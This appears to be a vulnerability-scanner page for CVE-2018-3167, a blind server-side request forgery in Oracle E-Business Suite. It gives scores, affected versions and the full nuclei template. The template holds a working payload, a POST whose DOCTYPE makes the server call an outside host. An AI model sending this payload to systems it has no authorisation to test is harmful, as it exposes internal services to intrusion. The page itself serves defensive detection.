Oracle E-Business Suite - Blind SSRF

mediumseverity

5.3CVSS score

16.5%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Oracle E-Business Suite, Application Management Pack component (User Monitoring subcomponent), is susceptible to blind server-side request forgery. An attacker with network access via HTTP can gain read access to a subset of data, connect to internal services like HTTP-enabled databases, or perform post requests towards internal services which are not intended to be exposed. Affected supported versions are 12.1.3, 12.2.3, 12.2.4, 12.2.5, 12.2.6, and 12.2.7.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass network restrictions and access internal resources.

Fix

Apply the necessary patches or updates provided by Oracle to mitigate this vulnerability.

How to confirm it

Send: POST {{BaseURL}}/OA_HTML/lcmServiceController.jsp
Positive when: contains "Unexpected text in DTD" AND status 200

Run it with nuclei: nuclei -id CVE-2018-3167 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-3167

info:
  name: Oracle E-Business Suite - Blind SSRF
  author: geeknik
  severity: medium
  description: Oracle E-Business Suite, Application Management Pack component (User Monitoring subcomponent), is susceptible to blind server-side request forgery. An attacker with network access via HTTP can gain read access to a subset of data, connect to internal services like HTTP-enabled databases, or perform post requests towards internal services which are not intended to be exposed. Affected supported versions are 12.1.3, 12.2.3, 12.2.4, 12.2.5, 12.2.6, and 12.2.7.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass network restrictions and access internal resources.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to mitigate this vulnerability.
  reference:
    - http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html
    - http://web.archive.org/web/20211206102649/https://securitytracker.com/id/1041897
    - https://medium.com/@x41x41x41/unauthenticated-ssrf-in-oracle-ebs-765bd789a145
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3167
    - http://www.securitytracker.com/id/1041897
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2018-3167
    epss-score: 0.16481
    epss-percentile: 0.97013
    cpe: cpe:2.3:a:oracle:application_management_pack:12.1.3:*:*:*:*:e-business_suite:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: application_management_pack
    framework: e-business_suite
  tags: cve,cve2018,oracle,ebs,ssrf,blind,e-business_suite,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/OA_HTML/lcmServiceController.jsp'

    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://interact.sh">

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Unexpected text in DTD'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from